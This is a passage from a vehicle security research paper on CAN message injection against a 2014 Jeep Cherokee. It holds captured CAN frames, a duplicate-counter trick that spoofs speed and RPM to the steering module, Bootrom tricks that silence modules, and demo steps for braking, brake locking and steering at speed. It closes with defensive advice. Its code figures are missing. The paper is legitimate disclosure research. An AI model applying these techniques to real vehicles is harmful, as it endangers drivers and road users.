messages checksums are calculated for the Jeep.  It is important to know this algorithm, as an attacker, 

in order to construct arbitrary CAN messages, as opposed to just replaying existing ones. 

We discussed checksum algorithms a bit our previous research [6], but we’ll go into further detail here 

explaining that the algorithm can be found both in the mechanic’s tool and in the ECU which 

validates/supplies the checksums. Remember, in the case of a remote compromise, these may be moot 

since the attacker can just pass their constructed CAN payload to the specified function, but is most 

likely necessary for testing message injection prior to an attack.  

Here is the checksum routine in the PAM module (v850): 



 

  



Here it is in the ECM module (PPC): 

 

Here is the checksum algorithm in the PSCM (v850):  

 

In fact, this function is pretty easy to find in firmware, and since it acts on CAN message data. Such 

artifacts are rare aids that end up being extremely useful when reverse engineering. 



Security access, revisited 
Our previous work [6] showed how we discovered the security access algorithm and keys in the 

mechanic’s tool.  Not only does this algorithm need to be in the mechanic’s tool (or at least accessible 

from it) it also needs to be in the ECUs to verify the result. 

 

 

The above code decrypts a file, loads the contents, and interprets JavaScript from an encrypted 

JavaScript file that comes with the mechanic’s tools (decryption of the JavaScript files was discussed in 

our previous research [6]) 

 

The actual algorithm is the same for all the Jeep ECUs.  Each type of ECU has two distinct constants 

associated with it.  The mechanics tool calls these KEY_CONSTANT_1 and KEY_CONSTANT_2, as show 

above.  It isn’t hard to find the security access algorithm in firmware and then find the associated 

constants.   

 



 

Here are the constants for the ECM: 

 

You can see the constants used for security access in the PSCM code below  

(near the end of the function): 

 

These constants can be a very good place to start reverse engineering ECU firmware since you know 

they are used in Security Access operations. From there, you can back trace the functions to look for 

relevant code with respects to CAN bus diagnostic routines.  

  



PSCM Specifics 
As we mentioned earlier, each ECU must contend with the situation where it is receiving both the 

messages sent by other ECUs in the car as well as the messages sent by the attacker.  For the PSCM, we 

reverse engineered the firmware and analyzed what happens.  Before looking at the code, let’s look at a 

dump of CAN messages for identifier with 0x20C.  This message is sent by the PAM to tell the PSCM to 

turn the steering wheel (or not). 

IDH: 02, IDL: 0C, Len: 04, Data: 80 00 00 31 
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 01 2C 
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 02 0B 
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 03 16 
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 04 45 
 

The first two bytes are data used to determine at what angle to set the steering wheel.  The third byte is 

some kind of incrementing counter.  With a little more analysis it is clear that the fourth byte is a 

checksum that depends on the first 3 bytes and is described in the previous section. 

Below is a portion of code handles CAN messages having identifier 0x20C, although similar code is seen 

in most other CAN ID processing functions.   

 

The first thing the code does is verify the checksum of the message.  If the checksum is invalid, it ignores 

the message, which is to be expected. In some code not shown, if the PSCM receives too many 

messages with invalid checksums, it disables advanced features. 

  



Next, a comparison of the third byte (the counter) is made with the value of the third byte from the 

previous message seen.  If it is the same, it ignores this “duplicate” message.  If it receives too many 

consecutive messages with this same third byte, it will also disable advanced features. 

 
 

However, you may notice that this byte isn’t actually an incrementing counter, but for all practical 

purposes, is merely something that must be different between two consecutive CAN messages. The 

incremental counting is just a method to guarantee a unique value in each message.     

Because of the way the ECU deals with this third byte, one can imagine a method to make it accept all 

the CAN messages injected by an attacker and completely ignore all messages sent by the ECU from the 

car while still remaining fully functional.  If an attacker times her messages just right, she can always 

arrange to precede messages from the car’s ECU with a message having the same third byte as the 

message from the car’s ECU.  In this way, each message from the car’s ECU will have the same third byte 

as the previous message received and so will be ignored by the PSCM.  Since this never occurs more 

than once, the ECU will operate indefinitely. 

Below is an example of what CAN traffic looks like when this technique is being used, in this case for 

CAN identifier 0x2E4. 

IDH: 02, IDL: E4, Len: 08, Data: 00 00 00 00 00 04 00 27  
IDH: 02, IDL: E4, Len: 08, Data: 00 BB 80 41 C0 54 00 AF 
IDH: 02, IDL: E4, Len: 08, Data: 00 00 00 00 00 04 01 3A 
IDH: 02, IDL: E4, Len: 08, Data: 00 B7 80 40 C0 54 01 20 
IDH: 02, IDL: E4, Len: 08, Data: 00 00 00 00 00 04 02 1D 
IDH: 02, IDL: E4, Len: 08, Data: 00 B5 80 3F C0 54 02 18 
IDH: 02, IDL: E4, Len: 08, Data: 00 00 00 00 00 04 03 00 
IDH: 02, IDL: E4, Len: 08, Data: 00 B0 00 3F C0 54 03 65 
IDH: 02, IDL: E4, Len: 08, Data: 00 00 00 00 00 04 04 53 
IDH: 02, IDL: E4, Len: 08, Data: 00 AE 00 3D C0 54 04 86 
IDH: 02, IDL: E4, Len: 08, Data: 00 00 00 00 00 04 05 4E 
IDH: 02, IDL: E4, Len: 08, Data: 00 AC 00 3D C0 54 05 17 



In this case, the message with the data bytes all zero will be processed while the ones that contain non-

zero data will be ignored, as they will look like duplicates to the PSCM. 

Keep in mind that the PSCM has no idea about the actual state of the car like the current gear, speed, or 

rpms.  It can only learn this information from processing CAN messages.  Therefore, by using this trick, 

we can convince the PSCM that we are driving very slowly when we are actually driving very fast.  This 

will allow us to circumvent any restrictions based on these values.  As we’ll see later, this allows us to do 

things like start a diagnostic session at speed, which should be impossible.  It also will allow us to control 

the steering at speed, despite the fact there are explicit checks to prevent this from occurring. 

PSCM – Diagnostic Session at Speed 
It should not be possible to put an ECU into a diagnostic session at speed.  In fact, some ECUs have even 

further restrictions.  The PSCM is one such ECU.  It forbids being put into a diagnostic session unless the 

engine is not running at all, but the car is in RUN mode (i.e. powered on but no engine running).  One 

can see this in action if you try to start a diagnostic session. 

EID: 18DA30F1, Len: 08, Data: 02 10 02 00 00 00 00 00 
EID: 18DAF130, Len: 08, Data: 03 7F 10 81 C4 15 00 0F 
 

This request returns error code 0x81 which, according to ISO 14229, means rpmTooHigh.  Effectively 

this error means the car should not have the engine running.  Examining the firmware, we see that it 

does check the RPM as well as the speed of the car.  It also checks quantities like the voltage and 

temperature, although these are usually okay anyway. 

 

 

By sending fake RPM CAN messages that trump the real RPM CAN messages, we can trick the PSCM to 

thinking that the car is effectively off, even if it is moving at speed.  The result is that we can establish a 

diagnostic session on the PSCM even if the car is driving down the highway.   

Beyond giving us access to various diagnostic procedures like routine controls, when the PSCM is in an 

active diagnostic session, the steering wheel is incredibly hard to turn.  It appears that the power 

steering is deactivated, forcing the driver to fight against the disabled electronic assist device.  The 



effect is that it is not possible to easily control the steering and performing actions. Making tight turns 

becomes difficult or impossible.  This is certainly a safety hazard. 

Collision Prevention Braking 
There are many ways that various components of the vehicle can request the car to apply its brakes.  We 

briefly look at each of these.  The first such method is through the collision prevention system. 

One interesting thing, when it comes to trying to engage the brakes using the ABS module, is that the 

ABS is the single ECU that is the source of truth with regards to the actual speed of the vehicle, as 

opposed to getting it from the CAN bus.  This greatly reduces the types of tricks we can play against it in 

this regard.  For example, it is unlikely we would be able to ever get a diagnostic session with it while the 

car was traveling at high speed, due to it not relying on CAN messages for speed.  

The module that is in charge of the collision prevention system is the Adaptive Cruise Control (ACC) 

module.  In the Toyota Prius, it was enough to simply send the messages the ACC sends to the brakes.  

Confliction was not a problem and the Prius applied the brakes if it received messages telling it to do so, 

even in the presence of messages telling it not to do so. 

On the contrary, in the Jeep, it is not enough to simply send the same messages the ACC would send in 

order to make the ABS system apply its brakes.  If the ABS receives conflicting messages, it turns off the 

collision prevention system in the vehicle rather than taking the chance of applying the brakes when it is 

not supposed to do so (apparently ECU designers had different thoughts about the collision prevention 

system). That means for the Jeep we have to find a way to deal with the issue of message confliction.  

The easiest way is to disable the ACC in some way, such as putting it into Bootrom mode.   

However, more action must be taken.  The FFCM is attached to the ACC via a private CAN line.  If the 

ACC is not responding normally, the FFCM will also not behave normally which means the ABS system 

will, again, turn off collision prevention braking. 

So an attacker needs to disable both of those modules and then replay all the messages from them 

captured during a collision event.  The ACC sends messages with the following IDs: 

0x02EC 
0x03EE 
0x06D8 
 

The FFCM sends the messages with the following IDs: 

0x01F6 
0x05DC 
0x05E4 
0x05DA 
 

0x01F6 is the message that the FFCM affects control steering in Lane Keep Assist (LKA) events, but more 

on that later. Please see the following files and data captures for more information.  

¶ acc_braking_trio_collision.dat 

¶ acc_braking_trio_collision 



¶ cruise_collision_loop.py 

ACC Braking 
Another way braking can be applied is by the ACC in non-collision situations.  If the ACC (using the FFCM) 

detects a vehicle in front of it slowing down, it will apply the brakes to make sure that the car doesn’t 

run into it.  While in typical use it will just slow the car down, it can actually bring the car to a complete 

stop in some cases.   

As in the collision prevention case, we need to disable the ACC, FFCM, and SCCM.  Then we replay 

messages which indicate braking.  Best file is cruise_then_brake.py. 

EPB - Braking 
The Electronic Parking Brake (EPB) is designed to be used at any speed.  If engaged at high speed, it 

signals to the brakes to engage to decelerate the vehicle.  If engaged at low speed, it locks the brakes 

using physical calipers designed for that purpose.  The EPB transmits only two CAN messages, those with 

identifiers 0x2EE and 0x5E0, respectively. 

If an attacker just injects messages indicating that the emergency parking brake is being engaged while 

the EPB messages are still playing, message confliction prevents the brakes from being applied.  The 

automated aspects of the ABS will be disabled.   

 

However, we can put the EPB into Bootrom mode, which will stop it from sending CAN messages at any 

speed, eliminating the issue of confliction.  After that, we can simply replay messages that the EPB 

would normally send; including messages indicating that the driver has engaged the parking brake.  This 

will cause the car to apply the brakes and come to a quick stop. 



Demo 
1. Car is on and stationary 
2. Start interactive_driving.py 
3. Start interactive_driving_pkts_w_startup_epb.py 
4. Start program_epb_but_stop.py, wait for it to complete 
5. Drive car to speed 
6. In interactive_driving.py press down arrow.  Car will stop 

 

To recover, stop all scripts and run program_epb.py. 

EPB – Locking 
If you engage the parking brake (while stationary) and then drop the EPB module into Bootrom mode, 

you can no longer disengage the parking brake.  Even if you reboot the car and even if you pull on the 

physical parking brake switch, the emergency parking brake remains engaged. 

Demo 
1. Car is on and stationary 
2. Run program_ebp_after_locking_brakes.py, wait for it to complete 
3. Car’s brakes are locked 

 

To recover, run program_ebp.py 

LKA – Steering 
The way that Lane Keep Assist (LKA) works is that the FFCM tracks the lane markings with its camera.  If 

it sees that the car is drifting out of the lane, and the turn signal is not on, it will gently move the 

steering wheel to keep it within the lane. 

There are many limits with LKA steering.  For one, it only works if the car is traveling between 37 mph 

and 100 mph.  Another is that there is a strict maximum that the wheel will turn, approximately 10 

degrees from center.  Given these restrictions, being able to control LKA isn’t incredibly dangerous.   

Due to the heavy restrictions on the speed and angle, we decided to look at other methods for steering 

the vehicle at speed.  

PAM – Steering 
The Parking Assist Module (PAM) is a feature that helps the driver parallel park their vehicle in several 

different scenarios.  It does this by taking information from sensors, calculating how much to turn the 

wheel, and then sending messages to the PSCM to act upon.  During parking assist sessions, the driver is 

still responsible for accelerating, braking, and gear selection.  Parking assist only turns the steering 

wheel. 

PAM steering has some advantages, from an attacker’s perspective, over LKA steering.  First and most 

importantly, there are no limitations on how far the steering wheel can turn.  There are still vital 

restrictions placed on its operation, but steering angle isn’t one of them.  The most important is based 

on the speed of the car.  The PSCM will not process PAM messages if the car is traveling over some low 

speed, somewhere around 7 mph, as you may have seen in last year’s video [10].  



As usual, the PAM continuously sends messages, even if parking assist features are not currently being 

used, so there is the problem of confliction if an attacker tries to turn the steering wheel with these 

messages.  Earlier, we discussed how to prevent normal messages from being sent by putting the PAM 

into diagnostic mode to avoid conflictions.  This worked fine, but only if the car was traveling less than 7 

mph, otherwise the PAM would leave diagnostic mode and begin to broadcast messages again. 

We can improve upon this work by putting the PAM into Bootrom mode.  Then we don’t have to worry 

about the actual PAM sending conflicting messages even at high speeds.  However, we are still 

constrained by the 7 mph limit enforced by the PSCM.  But, the PSCM doesn’t really know the speed of 

the car, relying on the CAN bus to inform it of the current speed.  We can use the PSCM “counter” trick 

discussed earlier to make the PSCM only see our messages and not the actual ones.  The PSCM checks 

CAN messages with two different identifiers to determine the speed of the automobile (and either 

process PAM steering requests or not).  These two messages have identifiers 0x1E6 and 0x2E4.  If we 

fake these messages by sending our messages with the same counter value as existing speed messages, 

we can make the PSCM accept our messages instead of the real ones. 

In the end, if we put the PAM into Bootrom mode and fake the two speed related messages, then send 

PAM messages telling the PSCM to turn the steering wheel, it will do so at any speed.  This is a 

frightening and dangerous attack. 

Demo 
1. Prolonged car reboot 
2. Run interactive_driving.py 
3. Put the vehicle in reverse 
4. Run interactive_driving_pkts_w_startup.py 
5. Run program_pam_then_speed.py 
6. Engage speed negation script 
7. Put car in drive  
8. Press right (or left) in interactive  

 

To recover, quit all scripts and run program_pam.py. 

Summary of results 
The chart below summarizes the improvements in physical control of automobiles via CAN bus messages 

using the techniques illustrated in this paper. 

 2009 Malibu 2012 Escape 2012 Prius 2014 Cherokee 
from [6] 

2014 Cherokee 
now 

Engage brakes Yes < 5mph Yes < 5mph Yes 

Stop brakes Yes < 5mph No < 5mph < 5mph 

Steering No < 5mph Inconsistently < 5mph Yes 

Acceleration No No No No Yes 

 



Preventing CAN Injection Attacks 
There are a few things that can be done to stop CAN injection attacks.  These are either 

manufacturer/implementation specific, or generic to all cars with a CAN based infrastructure.  We begin 

by discussing the former. 

Designers of ECUs should be aware of the techniques of CAN message injection and attempt to design 

systems that are resilient to it.  Consider the case of the PSCM mentioned above.  It has some slack built 

into it so that single error conditions do not cause an action to be taken by the system.  A few messages 

can occur with invalid checksums or be duplicates of proceeding messages and the ECU can handle this 

and continue working.  As we saw, building in this extra ability allowed the attacker to be able to solve 

the problem of confliction and take control of the actions of the ECU.  ECUs should not only take into 

account functional requirements but also malicious traffic. We’ve reached the point where we know 

that CAN traffic can come from untrusted sources so algorithms should be refactored accordingly. 

Actions should be taken in the event of anomalous traffic.  If the PSCM were designed more tightly, it 

would have been very difficult to get the PAM steering to work at speed. 

As far as more generic approaches, it helps to remember that there are only two ways to do CAN 

injection attacks, by using diagnostic messages or normal CAN messages.  We look at these two 

separately. 

For diagnostic messages, there are a few possible solutions.  These can be used to directly affect an ECU, 

for example using a routine control, or indirectly, for example by putting one ECU into diagnostic mode 

in order to impersonate it to a different ECU.  Clearly, we don’t want most diagnostic operations to be 

possible while the vehicle is at speed.  Most vehicles already implement such protections.  The harder 

question is what to do with diagnostic messages when the car is stopped (or moving slowly)?   

One possibility would be to only allow diagnostic messages to be received before the car has ever been 

taken out of park, but never after.  This would likely prevent most situations where remote compromise 

was an issue.  Another solution would be to only allow diagnostic messages if the car was put into some 

kind of “diagnostic mode” which would require the mechanic or mechanic’s tool to make some physical 

change to the car.  This might require something like flipping a physical switch in the car or supplying 

some current to a particular pin in the OBD-ii port.  Either way, it would not allow diagnostic messages 

unless specifically intended by a person physically at the vehicle. 

Normal CAN message injection will always suffer some form of confliction.  As we mentioned in the 

paper, many vehicles today already have ways to deal with message confliction.  We suspect that most 

solutions are designed out of concern for signal interference and/or malfunction as opposed to security, 

but we could be wrong.   

One possible solution is that while the receiving ECU can’t be sure if messages are from a legitimate 

source or an attacker, the sending ECU does know which messages it has sent and so could easily detect 

additional messages on the bus and signal the receiving ECU that something bad was happening (or at 

least log that suspicious activity has been encountered).  Another solution is to have the receiving ECU 

look at the frequency of incoming messages.  This should never change, but if an attacking ECU begins to 

transmit messages, the frequency of incoming messages will go up, probably significantly.  Likewise, if 

an attacker takes a sending ECU offline and starts to send messages in its place, there will likely be a 

brief period where the frequency drops.  These are a couple of ways to detect CAN message injection. 



One problem with detecting injection of normal CAN messages is what to do after it has been detected.  

If it is something that isn’t safety critical, such as parking assist, it is simple enough to disable it.  Some 

systems, for example air bags or even emergency braking to a certain extent, cannot so easily be 

disabled when trouble is detected. 

Conclusion 
Several years after academic researchers published their findings [5], car manufacturers put an effort to 

forbid diagnostic access to ECUs while the car is traveling at speed.  These restrictions limit the ways an 

attacker can affect the physical systems of a vehicle using CAN message injection.  When forced to inject 

normal messages (as opposed to diagnostic ones), the largest problem encountered is that of 

confliction, whereas the target ECU will receive not only the attacker’s injected messages but also those 

of the original ECU.   

In this paper, we discussed a few techniques to deal with message confliction and still force the ECU to 

take actions requested by the attacker.  These include things like putting the original ECU into Bootrom 

mode or taking advantage of the specifics of how the target ECU deals with incoming messages.  We 

demonstrate these techniques by controlling the physical actions of a 2014 Jeep Cherokee including 

braking, steering, and acceleration at speed.  We also provided some preliminary advice on how one 

would detect and possibly prevent CAN message injection. 
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